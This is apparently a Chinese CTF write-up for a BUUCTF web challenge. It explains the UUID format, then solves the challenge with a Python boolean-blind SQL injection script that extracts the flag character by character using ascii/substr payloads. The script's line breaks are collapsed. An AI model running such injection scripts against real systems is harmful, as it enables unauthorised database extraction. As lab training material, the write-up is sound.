这次先不进入靶场
看到红框里面的话就想先看看uuid是啥
定义与概念
UUID 是 Universally Unique Identifier 的缩写,即通用唯一识别码。它是一种由数字和字母组成的 128 位标识符,在理论上可以保证在全球范围内的唯一性。UUID 的设计目的是让分布式系统中的所有元素都能有唯一的辨识信息,而不需要通过中央控制端来指定唯一标识符。
格式
UUID 的标准格式是 32 个十六进制数字,被连字符分隔成 5 个部分,形式为
xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx
,其中:
xxxxxxxx
表示 8 位十六进制数字。M
表示 UUID 的版本号,目前有 1 - 5 共 5 个版本。N
表示 UUID 的变体(Variant),常见的有 1、2、4 等。例如:
550e8400-e29b-41d4-a716-446655440000
进入靶场
害怕你看不懂,给你翻译一下
感觉很像sql注入
尝试1'
一看到bool(false)就想到之前做过的一道题,这种布尔类型用脚本会方便很多,人为一个个输太麻烦
54,【4】BUUCTF WEB GYCTF2020Ezsqli-CSDN博客
select(flag)from(flag)
:从flag
表中选择flag
字段的值。substr(..., {i}, 1)
:从flag
字段的值中提取第i
个字符。ascii(...)
:获取该字符的 ASCII 码。ascii(...) > {mid}
:判断该字符的 ASCII 码是否大于mid
。
import requests
import timeurl = "http://bc228b3d-090b-4f59-b55a-31f11d9c40ce.node5.buuoj.cn:81/"
payload = {"id": ""
}
flag = ""for i in range(1, 200):print(f"\n正在尝试获取第 {i} 个字符...")time.sleep(0.06)head = 33tail = 130mid = (head + tail) // 2while head < tail:payload["id"] = f"(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"print(f"当前尝试的 payload: {payload}")try:res = requests.post(url, data=payload)res_text = res.textstatus_code = res.status_codeprint(f"请求状态码: {status_code}")if "Hello" in res_text:head = mid + 1print(f"响应中包含 'Hello',更新左边界为 {head}")else:tail = midprint(f"响应中不包含 'Hello',更新右边界为 {tail}")mid = (head + tail) // 2except requests.RequestException as e:print(f"请求发生错误: {e}")breakif chr(mid) == " ":print("遇到空格,停止获取字符。")breakflag += chr(mid)print(f"成功获取到第 {i} 个字符,当前已获取的 flag 为: {flag}")print(f"最终获取到的 flag: {flag}")